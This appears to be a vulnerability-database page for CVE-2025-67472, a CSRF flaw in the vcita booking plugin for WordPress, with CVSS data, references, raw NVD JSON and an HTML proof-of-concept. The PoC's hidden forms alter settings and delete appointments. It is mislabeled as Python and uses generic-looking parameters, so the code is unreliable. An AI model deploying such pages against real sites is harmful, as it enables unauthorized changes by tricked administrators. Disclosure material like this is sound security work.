CVE-2025-67472

Description

Cross-Site Request Forgery (CSRF) vulnerability in vcita Online Booking & Scheduling Calendar for WordPress by vcita meeting-scheduler-by-vcita allows Cross Site Request Forgery.This issue affects Online Booking & Scheduling Calendar for WordPress by vcita: from n/a through <= 4.5.5.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vcita:online_booking_\&_scheduling_calendar:*:*:*:*:*:wordpress:*:* - VULNERABLE

meeting-scheduler-by-vcita <= 4.5.5

vcita Online Booking & Scheduling Calendar for WordPress <= 4.5.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-67472 -->
<!-- Target: WordPress site with meeting-scheduler-by-vcita plugin <= 4.5.5 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-67472</title>
</head>
<body>
    <h1>CSRF PoC for vcita Booking Calendar Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in meeting-scheduler-by-vcita plugin.</p>
    
    <!-- Example: Modify booking settings -->
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrfForm">
        <input type="hidden" name="action" value="vcita_booking_settings">
        <input type="hidden" name="setting_name" value="booking_capacity">
        <input type="hidden" name="setting_value" value="999">
        <input type="hidden" name="nonce" value="">
    </form>
    
    <!-- Example: Delete appointment -->
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="deleteForm">
        <input type="hidden" name="action" value="vcita_delete_appointment">
        <input type="hidden" name="appointment_id" value="123">
        <input type="hidden" name="nonce" value="">
    </form>
    
    <script>
        // Auto-submit forms when page loads (for demonstration)
        // In real attack, attacker would use social engineering to trick admin
        document.addEventListener('DOMContentLoaded', function() {
            console.log('CSRF PoC loaded - forms ready for attack');
            // Uncomment below line to auto-execute attack
            // document.getElementById('csrfForm').submit();
        });
    </script>
    
    <p><strong>Attack Scenario:</strong></p>
    <ol>
        <li>Attacker creates this malicious page</li>
        <li>Social engineering: sends link to WordPress admin</li>
        <li>Admin clicks link while logged into WordPress</li>
        <li>Browser sends authenticated request with admin cookies</li>
        <li>Server processes request without CSRF validation</li>
        <li>Malicious action is executed (settings change, data deletion, etc.)</li>
    </ol>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67472
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67472
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67472/
[4] VulDB https://vuldb.com/cve/CVE-2025-67472
[5] https://patchstack.com/database/Wordpress/Plugin/meeting-scheduler-by-vcita/vulnerability/wordpress-online-booking-scheduling-calendar-for-wordpress-by-vcita-plugin-4-5-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67472", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:23.590", "lastModified": "2026-04-27T18:16:39.673", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in vcita Online Booking & Scheduling Calendar for WordPress by vcita meeting-scheduler-by-vcita allows Cross Site Request Forgery.This issue affects Online Booking & Scheduling Calendar for WordPress by vcita: from n/a through <= 4.5.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vcita:online_booking_\\&_scheduling_calendar:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "4.6.0", "matchCriteriaId": "5035FB26-05F3-4A12-88E2-A9FC878C3CD3"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/meeting-scheduler-by-vcita/vulnerability/wordpress-online-booking-scheduling-calendar-for-wordpress-by-vcita-plugin-4-5-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}